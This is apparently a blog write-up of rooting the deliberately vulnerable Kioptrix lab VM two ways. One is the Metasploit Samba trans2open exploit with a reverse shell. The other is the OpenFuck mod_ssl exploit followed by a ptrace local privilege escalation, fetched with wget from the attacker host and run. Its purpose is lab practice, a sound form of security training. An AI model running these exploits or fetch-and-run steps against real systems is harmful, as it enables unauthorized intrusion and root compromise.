Kioptrix
Hello!
After a while I’m back with another writeup. While I wasn’t publishing writeups I wasn’t idle. In the meantime I managed to get my OSCP certificate, which I’ll desribe in a seperate post.
Today I decided to crack an old one: Kioptrix. It is known in the OSCP community for being similar to the lab machines from the PWK course.
From the VM’s description:
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
I have found two ways of rooting this machine. First one is more reliable and give root privileges in one run. Second one allowed to get a limited shell first, and then escalate privileges. It is less reliable because shell had tendencies to disconnect after a couple of minutes. Still it is worth knowing.
Recon
Let’s start with some nmap:
# nmap 192.168.0.100 -sT -sV -O -n
-- snip --
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open status 1 (RPC #100024)
-- snip --
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
-- snip --
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
First way of rooting Kioptrix is a remote code execution in Samba. Samba is always worth checking out during a pentest. It has a long history of big one-shot vulnerabilities and commong misconfigurations that allow to gain valuable intel on the machine. This time it allows to win almost prematurely.
First I used a Metasploit module to obtain running Samba version:
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > info
Name: SMB Version Detection
Module: auxiliary/scanner/smb/smb_version
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
hdm <x@hdm.io>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
Description:
Display version information about each system
msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.100
RHOSTS => 192.168.0.100
msf auxiliary(scanner/smb/smb_version) > run
[*] 192.168.0.100:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Googling Samba version 2.2.1a shows that there is a known remote buffer overflow in trans2open() function(https://www.exploit-db.com/exploits/7).
The easiest way was to use another Metasploit module:
msf exploit(linux/samba/trans2open) > options
Module options (exploit/linux/samba/trans2open):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.0.100 yes The target address
RPORT 139 yes The target port (TCP)
Payload options (linux/x86/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST 192.168.0.101 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Samba 2.2.x - Bruteforce
msf exploit(linux/samba/trans2open) > run
[*] Started reverse TCP handler on 192.168.0.101:4444
[*] 192.168.0.100:139 - Trying return address 0xbffffdfc...
[*] 192.168.0.100:139 - Trying return address 0xbffffcfc...
[*] 192.168.0.100:139 - Trying return address 0xbffffbfc...
[*] 192.168.0.100:139 - Trying return address 0xbffffafc...
[*] Command shell session 9 opened (192.168.0.101:4444 -> 192.168.0.100:32780) at 2019-05-12 00:08:18 +0200
whoami
root
Game over :)
Mod_ssl remote buffer overflow
Another way to break the machine is a mod_ssl vulnerability. Namp scan indicates that it runs in version 2.8.4. So it should be vulnerable do to a ‘OpenFuck V2’ attack. Proof of concept can be found on ExploitDB. On modern systems there can be a couple of problems compiling the exploit. They can be fixed by following an excellent post on Paulsec. My final version of exploit can be found here.
There are a lot of versions of running the exploit depending on the system and Apache version of attacked machine. I decided to first search the know list for Apache version obtained from nmap. There were two matches that also matched Red Hat Linux distribution
root@kali:~/Documents/kioptrix# ./OpenFuck | grep '1.3.20'
-- snip --
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
-- snip --
I chose second one and ran the exploit which returned me a shell:
root@kali:~/Documents/kioptrix# ./OpenFuck 0x6b 192.168.0.100
-- snip ==
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304-
--01:02:24-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80...
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$
bash-2.05$ whoami
whoami
apache
As can be seen on the above listing, the exploit also tries to escalate privleges by downloading ptrace-kmod.c file. It obviously fails because of the fact that my Kioptrix instance is not connected to the internet. Fortunately it can be also done manually by hosting ptrace-kmod.c file on the attacking machine.
bash-2.05$ cd /tmp
cd /tmp
bash-2.05$ wget http://192.168.0.101/ptrace.c
wget http://192.168.0.101/ptrace.c
-- snip --
bash-2.05$ gcc ptrace.c -o ptrace
gcc ptrace.c -o ptrace
ptrace.c:185:27: warning: no newline at end of file
bash-2.05$ chmod +x ptrace
chmod +x ptrace
bash-2.05$ ./ptrace
./3
[+] Attached to 1539
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root
Game over #2 :)